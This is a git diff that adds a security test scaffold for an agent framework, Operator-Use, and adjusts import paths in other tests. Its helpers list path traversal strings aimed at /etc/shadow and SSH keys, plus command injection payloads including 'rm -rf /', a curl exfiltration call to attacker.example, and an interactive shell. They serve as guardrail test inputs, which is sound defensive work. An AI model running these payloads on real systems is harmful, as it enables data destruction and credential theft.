diff --git a/tests/security/__init__.py b/tests/security/__init__.py
new file mode 100644
index 0000000..e98fdf4
--- /dev/null
+++ b/tests/security/__init__.py
@@ -0,0 +1,5 @@
+"""Security test suite for Operator-Use.
+
+Tests in this package verify that security guardrails are enforced
+across tool invocations, file system access, and agent context handling.
+"""
diff --git a/tests/security/conftest.py b/tests/security/conftest.py
new file mode 100644
index 0000000..1831f04
--- /dev/null
+++ b/tests/security/conftest.py
@@ -0,0 +1,78 @@
+"""Shared fixtures for the security test suite."""
+
+import logging
+from pathlib import Path
+from typing import Generator
+
+import pytest
+
+
+@pytest.fixture
+def tmp_workspace(tmp_path: Path) -> Generator[Path, None, None]:
+    """Isolated temporary directory simulating an agent workspace.
+
+    Creates a directory tree that mirrors the structure an agent would
+    operate in: a workspace root with ``files/`` and ``logs/`` subdirs.
+    The fixture yields the workspace root and guarantees cleanup after
+    the test, even on failure.
+
+    Yields:
+        Path: The root of the isolated workspace.
+    """
+    workspace = tmp_path / "workspace"
+    workspace.mkdir()
+    (workspace / "files").mkdir()
+    (workspace / "logs").mkdir()
+    yield workspace
+    # tmp_path cleanup is handled by pytest automatically
+
+
+@pytest.fixture
+def mock_agent_context(tmp_workspace: Path) -> dict:
+    """Minimal agent context dictionary for tool testing.
+
+    Provides the smallest set of keys required by tools under test so
+    that individual security tests do not need to construct full agent
+    objects.
+
+    Args:
+        tmp_workspace: The isolated workspace fixture.
+
+    Returns:
+        dict: A context mapping with ``workspace``, ``agent_id``, and
+        ``permissions`` keys.
+    """
+    return {
+        "workspace": tmp_workspace,
+        "agent_id": "test-agent-001",
+        "permissions": {
+            "read": True,
+            "write": True,
+            "execute": False,
+            "network": False,
+        },
+    }
+
+
+@pytest.fixture
+def capture_logs(
+    caplog: pytest.LogCaptureFixture,
+) -> Generator[pytest.LogCaptureFixture, None, None]:
+    """Fixture to capture and inspect log output during a test.
+
+    Sets the root logger to DEBUG level for the duration of the test so
+    that security-related log lines emitted at any level are visible.
+
+    Yields:
+        pytest.LogCaptureFixture: The caplog object; use
+        ``capture_logs.records`` or ``capture_logs.text`` to inspect
+        what was logged.
+
+    Example::
+
+        def test_blocked_action_is_logged(capture_logs):
+            trigger_blocked_action()
+            assert any("blocked" in r.message.lower() for r in capture_logs.records)
+    """
+    with caplog.at_level(logging.DEBUG):
+        yield caplog
diff --git a/tests/security/helpers.py b/tests/security/helpers.py
new file mode 100644
index 0000000..dfd3af3
--- /dev/null
+++ b/tests/security/helpers.py
@@ -0,0 +1,126 @@
+"""Utilities shared across the security test suite.
+
+Provides payload generators and common assertion helpers so individual
+test modules do not need to duplicate attack-string lists or outcome
+checks.
+"""
+
+from __future__ import annotations
+
+from typing import Callable
+
+
+# ---------------------------------------------------------------------------
+# Payload generators
+# ---------------------------------------------------------------------------
+
+
+def path_traversal_payloads() -> list[str]:
+    """Return a list of path traversal attack strings.
+
+    Each entry is a filename or path fragment that should be rejected by
+    any file-access guardrail.  The list covers classic ``../`` sequences,
+    URL-encoded variants, and absolute-path injections.
+
+    Returns:
+        list[str]: Distinct traversal payload strings.
+    """
+    return [
+        "../../../etc/passwd",
+        "..\\..\\..\\windows\\system32\\config\\sam",
+        "%2e%2e%2f%2e%2e%2fetc%2fpasswd",
+        "....//....//etc/passwd",
+        "/etc/shadow",
+        "~/.ssh/id_rsa",
+        "../../.env",
+        "../tests/secret.txt",
+    ]
+
+
+def command_injection_payloads() -> list[str]:
+    """Return a list of command injection attack strings.
+
+    Each entry is a shell fragment that should be rejected when provided
+    as a parameter to any tool that constructs shell commands.
+
+    Returns:
+        list[str]: Distinct injection payload strings.
+    """
+    return [
+        "; rm -rf /",
+        "| cat /etc/passwd",
+        "&& curl http://attacker.example/exfil",
+        "`whoami`",
+        "$(id)",
+        "'; DROP TABLE users; --",
+        "\n/bin/sh -i",
+        "${IFS}cat${IFS}/etc/passwd",
+    ]
+
+
+# ---------------------------------------------------------------------------
+# Assertion helpers
+# ---------------------------------------------------------------------------
+
+
+def assert_blocked(result: object, *, check: Callable[[object], bool] | None = None) -> None:
+    """Assert that a tool result represents a blocked / denied operation.
+
+    Checks the common ``success`` attribute used by ``ToolResult``.
+    Optionally runs an extra callable ``check`` for domain-specific
+    validation.
+
+    Args:
+        result: The return value from a tool invocation.
+        check: Optional extra predicate; raises ``AssertionError`` if it
+            returns ``False``.
+
+    Raises:
+        AssertionError: When the result indicates success or the optional
+            check fails.
+
+    Example::
+
+        result = await tool.ainvoke(path="../../../etc/passwd")
+        assert_blocked(result, check=lambda r: "traversal" in (r.error or "").lower())
+    """
+    assert hasattr(result, "success"), (
+        f"Expected a ToolResult-like object with a 'success' attribute, got {type(result)}"
+    )
+    assert result.success is False, (
+        f"Expected operation to be blocked (success=False) but got success={result.success!r}"
+    )
+    if check is not None:
+        assert check(result), f"Extra check failed for blocked result: {result!r}"
+
+
+def assert_allowed(result: object, *, check: Callable[[object], bool] | None = None) -> None:
+    """Assert that a tool result represents a permitted / successful operation.
+
+    Checks the common ``success`` attribute used by ``ToolResult``.
+    Optionally runs an extra callable ``check`` for domain-specific
+    validation.
+
+    Args:
+        result: The return value from a tool invocation.
+        check: Optional extra predicate; raises ``AssertionError`` if it
+            returns ``False``.
+
+    Raises:
+        AssertionError: When the result indicates failure or the optional
+            check fails.
+
+    Example::
+
+        result = await tool.ainvoke(path="safe_file.txt")
+        assert_allowed(result, check=lambda r: r.output is not None)
+    """
+    assert hasattr(result, "success"), (
+        f"Expected a ToolResult-like object with a 'success' attribute, got {type(result)}"
+    )
+    assert result.success is True, (
+        f"Expected operation to be allowed (success=True) but got success={result.success!r}, "
+        f"error={getattr(result, 'error', None)!r}"
+    )
+    if check is not None:
+        assert check(result), f"Extra check failed for allowed result: {result!r}"
diff --git a/tests/security/test_scaffold.py b/tests/security/test_scaffold.py
new file mode 100644
index 0000000..d35a7ab
--- /dev/null
+++ b/tests/security/test_scaffold.py
@@ -0,0 +1,142 @@
+"""Example security test that validates the scaffold itself.
+
+Serves as the acceptance-criteria "at least one example security test
+passes using the scaffold" required by issue #7.  It also acts as
+living documentation showing how Phase 1 security tests should be
+structured.
+"""
+
+from pathlib import Path
+from typing import NamedTuple
+
+import pytest
+
+from tests.security.helpers import (
+    assert_allowed,
+    assert_blocked,
+    command_injection_payloads,
+    path_traversal_payloads,
+)
+
+
+# ---------------------------------------------------------------------------
+# Minimal stub that mimics the ToolResult interface
+# ---------------------------------------------------------------------------
+
+
+class _StubResult(NamedTuple):
+    success: bool
+    output: str | None = None
+    error: str | None = None
+
+
+# ---------------------------------------------------------------------------
+# Fixture smoke tests
+# ---------------------------------------------------------------------------
+
+
+def test_tmp_workspace_is_isolated_directory(tmp_workspace: Path) -> None:
+    """tmp_workspace provides a fresh, writable directory per test."""
+    assert tmp_workspace.exists()
+    assert tmp_workspace.is_dir()
+    sentinel = tmp_workspace / "sentinel.txt"
+    sentinel.write_text("ok")
+    assert sentinel.read_text() == "ok"
+
+
+def test_tmp_workspace_contains_expected_subdirs(tmp_workspace: Path) -> None:
+    """tmp_workspace pre-creates files/ and logs/ subdirectories."""
+    assert (tmp_workspace / "files").is_dir()
+    assert (tmp_workspace / "logs").is_dir()
+
+
+def test_mock_agent_context_keys(mock_agent_context: dict) -> None:
+    """mock_agent_context contains required keys for tool testing."""
+    required_keys = {"workspace", "agent_id", "permissions"}
+    assert required_keys.issubset(mock_agent_context.keys())
+
+
+def test_mock_agent_context_workspace_is_path(mock_agent_context: dict) -> None:
+    """mock_agent_context workspace value is a Path pointing to tmp_workspace."""
+    assert isinstance(mock_agent_context["workspace"], Path)
+    assert mock_agent_context["workspace"].exists()
+
+
+def test_capture_logs_captures_debug_messages(capture_logs) -> None:
+    """capture_logs fixture intercepts log records at DEBUG level."""
+    import logging
+
+    logger = logging.getLogger("operator_use.security.test")
+    logger.debug("scaffold-debug-sentinel")
+    assert any("scaffold-debug-sentinel" in r.message for r in capture_logs.records)
+
+
+# ---------------------------------------------------------------------------
+# Helper function tests
+# ---------------------------------------------------------------------------
+
+
+def test_path_traversal_payloads_returns_nonempty_list() -> None:
+    """path_traversal_payloads() returns at least one payload."""
+    payloads = path_traversal_payloads()
+    assert len(payloads) > 0
+    assert all(isinstance(p, str) for p in payloads)
+
+
+def test_path_traversal_payloads_contain_dotdot() -> None:
+    """path_traversal_payloads() includes classic ../ traversals."""
+    payloads = path_traversal_payloads()
+    assert any(".." in p for p in payloads)
+
+
+def test_command_injection_payloads_returns_nonempty_list() -> None:
+    """command_injection_payloads() returns at least one payload."""
+    payloads = command_injection_payloads()
+    assert len(payloads) > 0
+    assert all(isinstance(p, str) for p in payloads)
+
+
+def test_command_injection_payloads_contain_shell_operators() -> None:
+    """command_injection_payloads() includes common shell operator chars."""
+    payloads = command_injection_payloads()
+    shell_chars = set(";|&`$")
+    assert any(shell_chars & set(p) for p in payloads)
+
+
+# ---------------------------------------------------------------------------
+# assert_blocked / assert_allowed helper tests
+# ---------------------------------------------------------------------------
+
+
+def test_assert_blocked_passes_on_failure_result() -> None:
+    """assert_blocked does not raise when result.success is False."""
+    assert_blocked(_StubResult(success=False, error="denied"))
+
+
+def test_assert_blocked_raises_on_success_result() -> None:
+    """assert_blocked raises AssertionError when result.success is True."""
+    with pytest.raises(AssertionError, match="blocked"):
+        assert_blocked(_StubResult(success=True, output="ok"))
+
+
+def test_assert_blocked_raises_when_extra_check_fails() -> None:
+    """assert_blocked raises when the optional check predicate returns False."""
+    with pytest.raises(AssertionError, match="Extra check failed"):
+        assert_blocked(_StubResult(success=False, error="denied"), check=lambda _: False)
+
+
+def test_assert_allowed_passes_on_success_result() -> None:
+    """assert_allowed does not raise when result.success is True."""
+    assert_allowed(_StubResult(success=True, output="ok"))
+
+
+def test_assert_allowed_raises_on_failure_result() -> None:
+    """assert_allowed raises AssertionError when result.success is False."""
+    with pytest.raises(AssertionError, match="allowed"):
+        assert_allowed(_StubResult(success=False, error="denied"))
+
+
+def test_assert_allowed_raises_when_extra_check_fails() -> None:
+    """assert_allowed raises when the optional check predicate returns False."""
+    with pytest.raises(AssertionError, match="Extra check failed"):
+        assert_allowed(_StubResult(success=True, output="ok"), check=lambda _: False)
diff --git a/tests/test_agent.py b/tests/test_agent.py
index 4fb6c3f..13db174 100644
--- a/tests/test_agent.py
+++ b/tests/test_agent.py
@@ -186,7 +186,7 @@ async def test_agent_run_with_tool_call_then_text(tmp_path):
 
     # Register a simple echo tool
     from pydantic import BaseModel
-    from operator_use.tools.service import Tool
+    from operator_use.agent.tools.service import Tool
 
     class EchoParams(BaseModel):
         message: str
diff --git a/tests/test_control_center.py b/tests/test_control_center.py
index f3a2e5b..0efe749 100644
--- a/tests/test_control_center.py
+++ b/tests/test_control_center.py
@@ -4,7 +4,7 @@
 import pytest
 from unittest.mock import AsyncMock, MagicMock, patch
 
-from operator_use.agent.tools.builtin.control_center import (
+from operator_use.tools.control_center import (
     control_center,
     _set_plugin_enabled,
     _get_plugin_enabled,
diff --git a/tests/test_local_agents.py b/tests/test_local_agents.py
index 8fd831b..a1b5168 100644
--- a/tests/test_local_agents.py
+++ b/tests/test_local_agents.py
@@ -2,7 +2,7 @@
 
 import pytest
 
-from operator_use.agent.tools.builtin.local_agents import LOCAL_AGENT_DELEGATION_CHAIN, localagents
+from operator_use.tools.local_agents import LOCAL_AGENT_DELEGATION_CHAIN, localagents
 from operator_use.messages.service import AIMessage
 
 
diff --git a/tests/test_plugins.py b/tests/test_plugins.py
index f6ba6d4..5d9f8b9 100644
--- a/tests/test_plugins.py
+++ b/tests/test_plugins.py
@@ -7,7 +7,7 @@
 from operator_use.agent.tools.registry import ToolRegistry
 from operator_use.agent.hooks.service import Hooks
 from operator_use.agent.hooks.events import HookEvent
-from operator_use.tools.service import Tool
+from operator_use.agent.tools.service import Tool
 from pydantic import BaseModel
 
 
diff --git a/tests/test_tool_registry.py b/tests/test_tool_registry.py
index ca6ed75..77c70b9 100644
--- a/tests/test_tool_registry.py
+++ b/tests/test_tool_registry.py
@@ -4,7 +4,7 @@
 from pydantic import BaseModel
 
 from operator_use.agent.tools.registry import ToolRegistry
-from operator_use.tools.service import Tool
+from operator_use.agent.tools.service import Tool
 
 
 # --- Helpers ---
diff --git a/tests/test_tools.py b/tests/test_tools.py
index 8cbf913..de572ab 100644
--- a/tests/test_tools.py
+++ b/tests/test_tools.py
@@ -4,7 +4,7 @@
 from pydantic import BaseModel
 from typing import Literal
 
-from operator_use.tools.service import Tool, ToolResult
+from operator_use.agent.tools.service import Tool, ToolResult
 
 
 # --- ToolResult ---